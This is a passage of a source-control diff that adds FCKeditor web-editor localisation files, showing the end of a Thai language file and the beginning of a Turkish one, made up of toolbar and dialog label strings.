+DlgFlashChkMenu		: "Enable Flash Menu",	//MISSING
+DlgFlashScale		: "Scale",	//MISSING
+DlgFlashScaleAll	: "Show all",	//MISSING
+DlgFlashScaleNoBorder	: "No Border",	//MISSING
+DlgFlashScaleFit	: "Exact Fit",	//MISSING
+
+// Link Dialog
+DlgLnkWindowTitle	: "ลิงค์เชื่อมโยงเว็บ อีเมล์ รูปภาพ หรือไฟล์อื่นๆ",
+DlgLnkInfoTab		: "รายละเอียด",
+DlgLnkTargetTab		: "การเปิดหน้าจอ",
+
+DlgLnkType			: "ประเภทของลิงค์",
+DlgLnkTypeURL		: "ที่อยู่อ้างอิงออนไลน์ (URL)",
+DlgLnkTypeAnchor	: "จุดเชื่อมโยง (Anchor)",
+DlgLnkTypeEMail		: "ส่งอีเมล์ (E-Mail)",
+DlgLnkProto			: "โปรโตคอล",
+DlgLnkProtoOther	: "<อื่นๆ>",
+DlgLnkURL			: "ที่อยู่อ้างอิงออนไลน์ (URL)",
+DlgLnkAnchorSel		: "ระบุข้อมูลของจุดเชื่อมโยง (Anchor)",
+DlgLnkAnchorByName	: "ชื่อ",
+DlgLnkAnchorById	: "ไอดี",
+DlgLnkNoAnchors		: "<ยังไม่มีจุดเชื่อมโยงภายในหน้าเอกสารนี้>",
+DlgLnkEMail			: "อีเมล์ (E-Mail)",
+DlgLnkEMailSubject	: "หัวเรื่อง",
+DlgLnkEMailBody		: "ข้อความ",
+DlgLnkUpload		: "อัพโหลดไฟล์",
+DlgLnkBtnUpload		: "บันทึกไฟล์ไว้บนเซิร์ฟเวอร์",
+
+DlgLnkTarget		: "การเปิดหน้าลิงค์",
+DlgLnkTargetFrame	: "<เปิดในเฟรม>",
+DlgLnkTargetPopup	: "<เปิดหน้าจอเล็ก (Pop-up)>",
+DlgLnkTargetBlank	: "เปิดหน้าจอใหม่ (_blank)",
+DlgLnkTargetParent	: "เปิดในหน้าหลัก (_parent)",
+DlgLnkTargetSelf	: "เปิดในหน้าปัจจุบัน (_self)",
+DlgLnkTargetTop		: "เปิดในหน้าบนสุด (_top)",
+DlgLnkTargetFrameName	: "ชื่อทาร์เก็ตเฟรม",
+DlgLnkPopWinName	: "ระบุชื่อหน้าจอเล็ก (Pop-up)",
+DlgLnkPopWinFeat	: "คุณสมบัติของหน้าจอเล็ก (Pop-up)",
+DlgLnkPopResize		: "ปรับขนาดหน้าจอ",
+DlgLnkPopLocation	: "แสดงที่อยู่ของไฟล์",
+DlgLnkPopMenu		: "แสดงแถบเมนู",
+DlgLnkPopScroll		: "แสดงแถบเลื่อน",
+DlgLnkPopStatus		: "แสดงแถบสถานะ",
+DlgLnkPopToolbar	: "แสดงแถบเครื่องมือ",
+DlgLnkPopFullScrn	: "แสดงเต็มหน้าจอ (IE5.5++ เท่านั้น)",
+DlgLnkPopDependent	: "แสดงเต็มหน้าจอ (Netscape)",
+DlgLnkPopWidth		: "กว้าง",
+DlgLnkPopHeight		: "สูง",
+DlgLnkPopLeft		: "พิกัดซ้าย (Left Position)",
+DlgLnkPopTop		: "พิกัดบน (Top Position)",
+
+DlnLnkMsgNoUrl		: "กรุณาระบุที่อยู่อ้างอิงออนไลน์ (URL)",
+DlnLnkMsgNoEMail	: "กรุณาระบุอีเมล์ (E-mail)",
+DlnLnkMsgNoAnchor	: "กรุณาระบุจุดเชื่อมโยง (Anchor)",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "เลือกสี",
+DlgColorBtnClear	: "ล้างค่ารหัสสี",
+DlgColorHighlight	: "ตัวอย่างสี",
+DlgColorSelected	: "สีที่เลือก",
+
+// Smiley Dialog
+DlgSmileyTitle		: "แทรกสัญักษณ์สื่ออารมณ์",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "แทรกตัวอักษรพิเศษ",
+
+// Table Dialog
+DlgTableTitle		: "คุณสมบัติของ ตาราง",
+DlgTableRows		: "แถว",
+DlgTableColumns		: "สดมน์",
+DlgTableBorder		: "ขนาดเส้นขอบ",
+DlgTableAlign		: "การจัดตำแหน่ง",
+DlgTableAlignNotSet	: "<ไม่ระบุ>",
+DlgTableAlignLeft	: "ชิดซ้าย",
+DlgTableAlignCenter	: "กึ่งกลาง",
+DlgTableAlignRight	: "ชิดขวา",
+DlgTableWidth		: "กว้าง",
+DlgTableWidthPx		: "จุดสี",
+DlgTableWidthPc		: "เปอร์เซ็น",
+DlgTableHeight		: "สูง",
+DlgTableCellSpace	: "ระยะแนวนอนน",
+DlgTableCellPad		: "ระยะแนวตั้ง",
+DlgTableCaption		: "หัวเรื่องของตาราง",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "คุณสมบัติของ ช่อง",
+DlgCellWidth		: "กว้าง",
+DlgCellWidthPx		: "จุดสี",
+DlgCellWidthPc		: "เปอร์เซ็น",
+DlgCellHeight		: "สูง",
+DlgCellWordWrap		: "ตัดบรรทัดอัตโนมัติ",
+DlgCellWordWrapNotSet	: "<ไม่ระบุ>",
+DlgCellWordWrapYes	: "ใ่ช่",
+DlgCellWordWrapNo	: "ไม่",
+DlgCellHorAlign		: "การจัดวางแนวนอน",
+DlgCellHorAlignNotSet	: "<ไม่ระบุ>",
+DlgCellHorAlignLeft	: "ชิดซ้าย",
+DlgCellHorAlignCenter	: "กึ่งกลาง",
+DlgCellHorAlignRight: "ชิดขวา",
+DlgCellVerAlign		: "การจัดวางแนวตั้ง",
+DlgCellVerAlignNotSet	: "<ไม่ระบุ>",
+DlgCellVerAlignTop	: "บนสุด",
+DlgCellVerAlignMiddle	: "กึ่งกลาง",
+DlgCellVerAlignBottom	: "ล่างสุด",
+DlgCellVerAlignBaseline	: "อิงบรรทัด",
+DlgCellRowSpan		: "จำนวนแถวที่คร่อมกัน",
+DlgCellCollSpan		: "จำนวนสดมน์ที่คร่อมกัน",
+DlgCellBackColor	: "สีพื้นหลัง",
+DlgCellBorderColor	: "สีเส้นขอบ",
+DlgCellBtnSelect	: "เลือก..",
+
+// Find Dialog
+DlgFindTitle		: "ค้นหา",
+DlgFindFindBtn		: "ค้นหา",
+DlgFindNotFoundMsg	: "ไม่พบคำที่ค้นหา.",
+
+// Replace Dialog
+DlgReplaceTitle			: "ค้นหาและแทนที่",
+DlgReplaceFindLbl		: "ค้นหาคำว่า:",
+DlgReplaceReplaceLbl	: "แทนที่ด้วย:",
+DlgReplaceCaseChk		: "ตัวโหญ่-เล็ก ต้องตรงกัน",
+DlgReplaceReplaceBtn	: "แทนที่",
+DlgReplaceReplAllBtn	: "แทนที่ทั้งหมดที่พบ",
+DlgReplaceWordChk		: "ต้องตรงกันทุกคำ",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "ไม่สามารถวางข้อความที่สำเนามาได้เนื่องจากการกำหนดค่าระดับความปลอดภัย. กรุณาใช้ปุ่มลัดเพื่อวางข้อความแทน (กดปุ่ม Ctrl และตัว V พร้อมกัน).",
+PasteErrorCut	: "ไม่สามารถตัดข้อความที่เลือกไว้ได้เนื่องจากการกำหนดค่าระดับความปลอดภัย. กรุณาใช้ปุ่มลัดเพื่อวางข้อความแทน (กดปุ่ม Ctrl และตัว X พร้อมกัน).",
+PasteErrorCopy	: "ไม่สามารถสำเนาข้อความที่เลือกไว้ได้เนื่องจากการกำหนดค่าระดับความปลอดภัย. กรุณาใช้ปุ่มลัดเพื่อวางข้อความแทน (กดปุ่ม Ctrl และตัว C พร้อมกัน).",
+
+PasteAsText		: "วางแบบตัวอักษรธรรมดา",
+PasteFromWord	: "วางแบบตัวอักษรจากโปรแกรมเวิร์ด",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",	//MISSING
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",	//MISSING
+DlgPasteRemoveStyles	: "Remove Styles definitions",	//MISSING
+DlgPasteCleanBox		: "Clean Up Box",	//MISSING
+
+// Color Picker
+ColorAutomatic	: "สีอัตโนมัติ",
+ColorMoreColors	: "เลือกสีอื่นๆ...",
+
+// Document Properties
+DocProps		: "คุณสมบัติของเอกสาร",
+
+// Anchor Dialog
+DlgAnchorTitle		: "คุณสมบัติของ Anchor",
+DlgAnchorName		: "ชื่อ Anchor",
+DlgAnchorErrorName	: "กรุณาระบุชื่อของ Anchor",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "ไม่พบในดิกชันนารี",
+DlgSpellChangeTo		: "แก้ไขเป็น",
+DlgSpellBtnIgnore		: "ยกเว้น",
+DlgSpellBtnIgnoreAll	: "ยกเว้นทั้งหมด",
+DlgSpellBtnReplace		: "แทนที่",
+DlgSpellBtnReplaceAll	: "แทนที่ทั้งหมด",
+DlgSpellBtnUndo			: "ยกเลิก",
+DlgSpellNoSuggestions	: "- ไม่มีคำแนะนำใดๆ -",
+DlgSpellProgress		: "กำลังตรวจสอบคำสะกด...",
+DlgSpellNoMispell		: "ตรวจสอบคำสะกดเสร็จสิ้น: ไม่พบคำสะกดผิด",
+DlgSpellNoChanges		: "ตรวจสอบคำสะกดเสร็จสิ้น: ไม่มีการแก้คำใดๆ",
+DlgSpellOneChange		: "ตรวจสอบคำสะกดเสร็จสิ้น: แก้ไข1คำ",
+DlgSpellManyChanges		: "ตรวจสอบคำสะกดเสร็จสิ้น:: แก้ไข %1 คำ",
+
+IeSpellDownload			: "ไม่ได้ติดตั้งระบบตรวจสอบคำสะกด. ต้องการติดตั้งไหมครับ?",
+
+// Button Dialog
+DlgButtonText		: "ข้อความ (ค่าตัวแปร)",
+DlgButtonType		: "ข้อความ",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "ชื่อ",
+DlgCheckboxValue	: "ค่าตัวแปร",
+DlgCheckboxSelected	: "เลือกเป็นค่าเริ่มต้น",
+
+// Form Dialog
+DlgFormName		: "ชื่อ",
+DlgFormAction	: "แอคชั่น",
+DlgFormMethod	: "เมธอด",
+
+// Select Field Dialog
+DlgSelectName		: "ชื่อ",
+DlgSelectValue		: "ค่าตัวแปร",
+DlgSelectSize		: "ขนาด",
+DlgSelectLines		: "บรรทัด",
+DlgSelectChkMulti	: "เลือกหลายค่าได้",
+DlgSelectOpAvail	: "รายการตัวเลือก",
+DlgSelectOpText		: "ข้อความ",
+DlgSelectOpValue	: "ค่าตัวแปร",
+DlgSelectBtnAdd		: "เพิ่ม",
+DlgSelectBtnModify	: "แก้ไข",
+DlgSelectBtnUp		: "บน",
+DlgSelectBtnDown	: "ล่าง",
+DlgSelectBtnSetValue : "เลือกเป็นค่าเริ่มต้น",
+DlgSelectBtnDelete	: "ลบ",
+
+// Textarea Dialog
+DlgTextareaName	: "ชื่อ",
+DlgTextareaCols	: "สดมภ์",
+DlgTextareaRows	: "แถว",
+
+// Text Field Dialog
+DlgTextName			: "ชื่อ",
+DlgTextValue		: "ค่าตัวแปร",
+DlgTextCharWidth	: "ความกว้าง",
+DlgTextMaxChars		: "จำนวนตัวอักษรสูงสุด",
+DlgTextType			: "ชนิด",
+DlgTextTypeText		: "ข้อความ",
+DlgTextTypePass		: "รหัสผ่าน",
+
+// Hidden Field Dialog
+DlgHiddenName	: "ชื่อ",
+DlgHiddenValue	: "ค่าตัวแปร",
+
+// Bulleted List Dialog
+BulletedListProp	: "คุณสมบัติของ บูลเล็ตลิสต์",
+NumberedListProp	: "คุณสมบัติของ นัมเบอร์ลิสต์",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "ชนิด",
+DlgLstTypeCircle	: "รูปวงกลม",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "รูปสี่เหลี่ยม",
+DlgLstTypeNumbers	: "หมายเลข (1, 2, 3)",
+DlgLstTypeLCase		: "ตัวพิมพ์เล็ก (a, b, c)",
+DlgLstTypeUCase		: "ตัวพิมพ์ใหญ่ (A, B, C)",
+DlgLstTypeSRoman	: "เลขโรมันพิมพ์เล็ก (i, ii, iii)",
+DlgLstTypeLRoman	: "เลขโรมันพิมพ์ใหญ่ (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "ลักษณะทั่วไปของเอกสาร",
+DlgDocBackTab		: "พื้นหลัง",
+DlgDocColorsTab		: "สีและระยะขอบ",
+DlgDocMetaTab		: "ข้อมูลสำหรับเสิร์ชเอนจิ้น",
+
+DlgDocPageTitle		: "ชื่อไตเติ้ล",
+DlgDocLangDir		: "การอ่านภาษา",
+DlgDocLangDirLTR	: "จากซ้ายไปขวา (LTR)",
+DlgDocLangDirRTL	: "จากขวาไปซ้าย (RTL)",
+DlgDocLangCode		: "รหัสภาษา",
+DlgDocCharSet		: "ชุดตัวอักษร",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "ชุดตัวอักษรอื่นๆ",
+
+DlgDocDocType		: "ประเภทของเอกสาร",
+DlgDocDocTypeOther	: "ประเภทเอกสารอื่นๆ",
+DlgDocIncXHTML		: "รวมเอา  XHTML Declarations ไว้ด้วย",
+DlgDocBgColor		: "สีพื้นหลัง",
+DlgDocBgImage		: "ที่อยู่อ้างอิงออนไลน์ของรูปพื้นหลัง (Image URL)",
+DlgDocBgNoScroll	: "พื้นหลังแบบไม่มีแถบเลื่อน",
+DlgDocCText			: "ข้อความ",
+DlgDocCLink			: "ลิงค์",
+DlgDocCVisited		: "ลิงค์ที่เคยคลิ้กแล้ว Visited Link",
+DlgDocCActive		: "ลิงค์ที่กำลังคลิ้ก Active Link",
+DlgDocMargins		: "ระยะขอบของหน้าเอกสาร",
+DlgDocMaTop			: "ด้านบน",
+DlgDocMaLeft		: "ด้านซ้าย",
+DlgDocMaRight		: "ด้านขวา",
+DlgDocMaBottom		: "ด้านล่าง",
+DlgDocMeIndex		: "คำสำคัญอธิบายเอกสาร (คั่นคำด้วย คอมม่า)",
+DlgDocMeDescr		: "ประโยคอธิบายเกี่ยวกับเอกสาร",
+DlgDocMeAuthor		: "ผู้สร้างเอกสาร",
+DlgDocMeCopy		: "สงวนลิขสิทธิ์",
+DlgDocPreview		: "ตัวอย่างหน้าเอกสาร",
+
+// Templates Dialog
+Templates			: "Templates",	//MISSING
+DlgTemplatesTitle	: "Content Templates",	//MISSING
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",	//MISSING
+DlgTemplatesLoading	: "Loading templates list. Please wait...",	//MISSING
+DlgTemplatesNoTpl	: "(No templates defined)",	//MISSING
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "เกี่ยวกับโปรแกรม",
+DlgAboutBrowserInfoTab	: "โปรแกรมท่องเว็บที่ท่านใช้",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "รุ่น",
+DlgAboutLicense		: "สงวนลิขสิทธิ์ โดยนโยบายลิขสิทธิ์แบบ GNU Lesser General Public License",
+DlgAboutInfo		: "ข้อมูลเพิ่มเติมภาษาไทยติดต่อ</BR>นาย ชรินทร์ อาษากิจ (อู้ด)</BR><A HREF='mailto:arsakit@gmail.com'>arsakit@gmail.com</A> tel. (+66) 06-9241924</BR>หรือดาวน์โหลดรุ่นภาษาไทยได้ที่เว็บไซต์</BR><A HREF='http://www.thaimall4u.com'>www.Thaimall4u.com</A></BR>ข้อมูลเพิ่มเติมภาษาอังกฤษ กรุณาไปที่นี่"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/tr.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/tr.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/tr.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: tr.js
+ * 	Turkish language file.
+ * 
+ * File Authors:
+ * 		Bogac Guven (bogacmx@yahoo.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Araç Çubugunu Kapat",
+ToolbarExpand		: "Araç Çubugunu Aç",
+
+// Toolbar Items and Context Menu
+Save				: "Kaydet",
+NewPage				: "Yeni Sayfa",
+Preview				: "Ön İzleme",
+Cut					: "Kes",
+Copy				: "Kopyala",
+Paste				: "Yapıştır",
+PasteText			: "Düzyazı Olarak Yapıştır",
+PasteWord			: "Word'den Yapıştır",
+Print				: "Yazdır",
+SelectAll			: "Tümünü Seç",
+RemoveFormat		: "Biçimi Kaldır",
+InsertLinkLbl		: "Köprü",
+InsertLink			: "Köprü Ekle/Düzenle",
+RemoveLink			: "Köprü Kaldır",
+Anchor				: "Çapa Ekle/Düzenle",
+InsertImageLbl		: "Resim",
+InsertImage			: "Resim Ekle/Düzenle",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Flash Ekle/Düzenle",
+InsertTableLbl		: "Tablo",
+InsertTable			: "Tablo Ekle/Düzenle",
+InsertLineLbl		: "Satır",
+InsertLine			: "Yatay Satır Ekle",
+InsertSpecialCharLbl: "Özel Karakter",
+InsertSpecialChar	: "Özel Karakter Ekle",
+InsertSmileyLbl		: "İfade",
+InsertSmiley		: "İfade Ekle",
+About				: "FCKeditor Hakkında",
+Bold				: "Kalın",
+Italic				: "İtalik",
+Underline			: "Altı Çizgili",
+StrikeThrough		: "Üstü Çizgili",
+Subscript			: "Alt Simge",
+Superscript			: "Üst Simge",
+LeftJustify			: "Sola Dayalı",
+CenterJustify		: "Ortalanmış",
+RightJustify		: "Sağa Dayalı",
+BlockJustify		: "İki Kenara Yaslanmış",
+DecreaseIndent		: "Sekme Azalt",
+IncreaseIndent		: "Sekme Arttır",
+Undo				: "Geri Al",
+Redo				: "Tekrarla",
+NumberedListLbl		: "Numaralı Liste",
+NumberedList		: "Numaralı Liste Ekle/Kaldır",
+BulletedListLbl		: "Simgeli Liste",
+BulletedList		: "Simgeli Liste Ekle/Kaldır",
+ShowTableBorders	: "Tablo Kenarlarını Göster",
+ShowDetails			: "Detayları Göster",
+Style				: "Stil",
+FontFormat			: "Biçim",
+Font				: "Yazı Tipi",
+FontSize			: "Boyut",
+TextColor			: "Yazı Rengi",
+BGColor				: "Arka Renk",
+Source				: "Kaynak",
+Find				: "Bul",
+Replace				: "Değiştir",
+SpellCheck			: "Yazım Denetimi",
+UniversalKeyboard	: "Evrensel Klavye",
+PageBreakLbl		: "Sayfa sonu",
+PageBreak			: "Sayfa Sonu Ekle",
+
+Form			: "Form",
+Checkbox		: "Onay Kutusu",
+RadioButton		: "Seçenek Düğmesi",
+TextField		: "Metin Girişi",
+Textarea		: "Çok Satırlı Metin",
+HiddenField		: "Gizli Veri",
+Button			: "Düğme",
+SelectionField	: "Seçim Mönüsü",
+ImageButton		: "Resimli Düğme",
+
+FitWindow		: "Editör boyutunu büyüt",
+
+// Context Menu
+EditLink			: "Köprü Düzenle",
+CellCM				: "Hücre",
+RowCM				: "Satır",
+ColumnCM			: "Sütun",
+InsertRow			: "Satır Ekle",
+DeleteRows			: "Satır Sil",
+InsertColumn		: "Sütun Ekle",
+DeleteColumns		: "Sütun Sil",
+InsertCell			: "Hücre Ekle",
+DeleteCells			: "Hücre Sil",
+MergeCells			: "Hücreleri Birleştir",
+SplitCell			: "Hücre Böl",
+TableDelete			: "Tabloyu Sil",
+CellProperties		: "Hücre Özellikleri",
+TableProperties		: "Tablo Özellikleri",
+ImageProperties		: "Resim Özellikleri",
+FlashProperties		: "Flash Özellikleri",
+
+AnchorProp			: "Çapa Özellikleri",
+ButtonProp			: "Düğme Özellikleri",
+CheckboxProp		: "Onay Kutusu Özellikleri",
+HiddenFieldProp		: "Gizli Veri Özellikleri",
+RadioButtonProp		: "Seçenek Düğmesi Özellikleri",
+ImageButtonProp		: "Resimli Düğme Özellikleri",
+TextFieldProp		: "Metin Girişi Özellikleri",
+SelectionFieldProp	: "Seçim Mönüsü Özellikleri",
+TextareaProp		: "Çok Satırlı Metin Özellikleri",
+FormProp			: "Form Özellikleri",
+
+FontFormats			: "Normal;Biçimli;Adres;Başlık 1;Başlık 2;Başlık 3;Başlık 4;Başlık 5;Başlık 6;Paragraf (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML işleniyor. Lütfen bekleyin...",
+Done				: "Bitti",
+PasteWordConfirm	: "Yapıştırdığınız yazı Word'den gelmişe benziyor. Yapıştırmadan önce gereksiz eklentileri silmek ister misiniz?",
+NotCompatiblePaste	: "Bu komut Internet Explorer 5.5 ve ileriki sürümleri için mevcuttur. Temizlenmeden yapıştırılmasını ister misiniz ?",
+UnknownToolbarItem	: "Bilinmeyen araç çubugu öğesi \"%1\"",
+UnknownCommand		: "Bilinmeyen komut \"%1\"",
+NotImplemented		: "Komut uyarlanamadı",
+UnknownToolbarSet	: "\"%1\" araç çubuğu öğesi mevcut değil",
+NoActiveX			: "Kullandığınız tarayıcının güvenlik ayarları bazı özelliklerin kullanılmasını engelliyor. Bu özelliklerin çalışması için \"Run ActiveX controls and plug-ins (Activex ve eklentileri çalıştır)\" seçeneğinin aktif yapılması gerekiyor. Kullanılamayan eklentiler ve hatalar konusunda daha fazla bilgi sahibi olun.",
+BrowseServerBlocked : "Kaynak tarayıcısı açılamadı. Tüm \"popup blocker\" programlarının devre dışı olduğundan emin olun. (Yahoo toolbar, Msn toolbar, Google toolbar gibi)",
+DialogBlocked		: "diyalog açmak mümkün olmadı. Tüm \"Popup Blocker\" programlarının devre dışı olduğundan emin olun.",
+
+// Dialogs
+DlgBtnOK			: "Tamam",
+DlgBtnCancel		: "İptal",
+DlgBtnClose			: "Kapat",
+DlgBtnBrowseServer	: "Sunucuyu Gez",
+DlgAdvancedTag		: "Gelişmiş",
+DlgOpOther			: "<Diğer>",
+DlgInfoTab			: "Bilgi",
+DlgAlertUrl			: "Lütfen URL girin",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<tanımlanmamış>",
+DlgGenId			: "Kimlik",
+DlgGenLangDir		: "Lisan Yönü",
+DlgGenLangDirLtr	: "Soldan Sağa (LTR)",
+DlgGenLangDirRtl	: "Sağdan Sola (RTL)",
+DlgGenLangCode		: "Lisan Kodlaması",
+DlgGenAccessKey		: "Erişim Tuşu",
+DlgGenName			: "İsim",
+DlgGenTabIndex		: "Sekme İndeksi",
+DlgGenLongDescr		: "Uzun Tanımlı URL",
+DlgGenClass			: "Stil Klasları",
+DlgGenTitle			: "Danışma Baslığı",
+DlgGenContType		: "Danışma İçerik Türü",
+DlgGenLinkCharset	: "Bağlı Kaynak Karakter Gurubu",
+DlgGenStyle			: "Stil",
+
+// Image Dialog
+DlgImgTitle			: "Resim Özellikleri",
+DlgImgInfoTab		: "Resim Bilgisi",
+DlgImgBtnUpload		: "Sunucuya Yolla",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Karsıya Yükle",
+DlgImgAlt			: "Alternatif Yazı",
+DlgImgWidth			: "Genişlik",
+DlgImgHeight		: "Yükseklik",
+DlgImgLockRatio		: "Oranı Kilitle",
+DlgBtnResetSize		: "Boyutu Başa Döndür",
+DlgImgBorder		: "Kenar",
+DlgImgHSpace		: "Yatay Boşluk",
+DlgImgVSpace		: "Dikey Boşluk",
+DlgImgAlign			: "Hizalama",
+DlgImgAlignLeft		: "Sol",
+DlgImgAlignAbsBottom: "Tam Altı",
+DlgImgAlignAbsMiddle: "Tam Ortası",
+DlgImgAlignBaseline	: "Taban Çizgisi",
+DlgImgAlignBottom	: "Alt",
+DlgImgAlignMiddle	: "Orta",
+DlgImgAlignRight	: "Sağ",
+DlgImgAlignTextTop	: "Yazı Tepeye",
+DlgImgAlignTop		: "Tepe",
+DlgImgPreview		: "Ön İzleme",
+DlgImgAlertUrl		: "Lütfen resmin URL'sini yazınız",
+DlgImgLinkTab		: "Köprü",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Özellikleri",
+DlgFlashChkPlay		: "Otomatik Oynat",
+DlgFlashChkLoop		: "Döngü",
+DlgFlashChkMenu		: "Flash Mönüsünü Kullan",
+DlgFlashScale		: "Boyutlandır",
+DlgFlashScaleAll	: "Hepsini Göster",
+DlgFlashScaleNoBorder	: "Kenar Yok",
+DlgFlashScaleFit	: "Tam Sığdır",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Köprü",
+DlgLnkInfoTab		: "Köprü Bilgisi",
+DlgLnkTargetTab		: "Hedef",
+
+DlgLnkType			: "Köprü Türü",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Bu sayfada çapa",
+DlgLnkTypeEMail		: "E-Posta",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<diğer>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Çapa Seç",
+DlgLnkAnchorByName	: "Çapa İsmi ile",
+DlgLnkAnchorById	: "Eleman Id ile",
+DlgLnkNoAnchors		: "<Bu dokümanda hiç çapa yok>",
+DlgLnkEMail			: "E-Posta Adresi",
+DlgLnkEMailSubject	: "Mesaj Konusu",
+DlgLnkEMailBody		: "Mesaj Vücudu",
+DlgLnkUpload		: "Karşıya Yükle",
+DlgLnkBtnUpload		: "Sunucuya Gönder",
+
+DlgLnkTarget		: "Hedef",
+DlgLnkTargetFrame	: "<çerçeve>",
+DlgLnkTargetPopup	: "<yeni açılan pencere>",
+DlgLnkTargetBlank	: "Yeni Pencere(_blank)",
+DlgLnkTargetParent	: "Anne Pencere (_parent)",
+DlgLnkTargetSelf	: "Kendi Penceresi (_self)",
+DlgLnkTargetTop		: "En Üst Pencere (_top)",
+DlgLnkTargetFrameName	: "Hedef Çerçeve İsmi",
+DlgLnkPopWinName	: "Yeni Açılan Pencere İsmi",
+DlgLnkPopWinFeat	: "Yeni Açılan Pencere Özellikleri",
+DlgLnkPopResize		: "Boyutlandırılabilir",
+DlgLnkPopLocation	: "Yer Çubuğu",
+DlgLnkPopMenu		: "Mönü Çubuğu",
+DlgLnkPopScroll		: "Kaydırma Çubukları",
+DlgLnkPopStatus		: "Statü Çubuğu",
+DlgLnkPopToolbar	: "Araç Çubuğu",
+DlgLnkPopFullScrn	: "Tam Ekran (IE)",
+DlgLnkPopDependent	: "Bağlı-Dependent- (Netscape)",
+DlgLnkPopWidth		: "Genişlik",
+DlgLnkPopHeight		: "Yükseklik",
+DlgLnkPopLeft		: "Sola Göre Pozisyon",
+DlgLnkPopTop		: "Yukarıya Göre Pozisyon",
+
+DlnLnkMsgNoUrl		: "Lütfen köprü URL'sini yazın",
+DlnLnkMsgNoEMail	: "Lütfen E-posta adresini yazın",
+DlnLnkMsgNoAnchor	: "Lütfen bir çapa seçin",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Renk Seç",
+DlgColorBtnClear	: "Temizle",
+DlgColorHighlight	: "Belirle",
+DlgColorSelected	: "Seçilmiş",
+
+// Smiley Dialog
+DlgSmileyTitle		: "İfade Ekle",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Özel Karakter Seç",
+
+// Table Dialog
+DlgTableTitle		: "Tablo Özellikleri",
+DlgTableRows		: "Satırlar",
+DlgTableColumns		: "Sütunlar",
+DlgTableBorder		: "Kenar Kalınlığı",
+DlgTableAlign		: "Hizalama",
+DlgTableAlignNotSet	: "<Tanımlanmamış>",
+DlgTableAlignLeft	: "Sol",
+DlgTableAlignCenter	: "Merkez",
+DlgTableAlignRight	: "Sağ",
+DlgTableWidth		: "Genişlik",
+DlgTableWidthPx		: "piksel",
+DlgTableWidthPc		: "yüzde",
+DlgTableHeight		: "Yükseklik",
+DlgTableCellSpace	: "Izgara kalınlığı",
+DlgTableCellPad		: "Izgara yazı arası",
+DlgTableCaption		: "Başlık",
+DlgTableSummary		: "Özet",
+
+// Table Cell Dialog
+DlgCellTitle		: "Hücre Özellikleri",
+DlgCellWidth		: "Genişlik",
+DlgCellWidthPx		: "piksel",
+DlgCellWidthPc		: "yüzde",
+DlgCellHeight		: "Yükseklik",
+DlgCellWordWrap		: "Sözcük Kaydır",
+DlgCellWordWrapNotSet	: "<Tanımlanmamış>",
+DlgCellWordWrapYes	: "Evet",
+DlgCellWordWrapNo	: "Hayır",
+DlgCellHorAlign		: "Yatay Hizalama",
+DlgCellHorAlignNotSet	: "<Tanımlanmamış>",
+DlgCellHorAlignLeft	: "Sol",
+DlgCellHorAlignCenter	: "Merkez",
+DlgCellHorAlignRight: "Sağ",
+DlgCellVerAlign		: "Dikey Hizalama",
+DlgCellVerAlignNotSet	: "<Tanımlanmamış>",
+DlgCellVerAlignTop	: "Tepe",
+DlgCellVerAlignMiddle	: "Orta",
+DlgCellVerAlignBottom	: "Alt",
+DlgCellVerAlignBaseline	: "Taban Çizgisi",
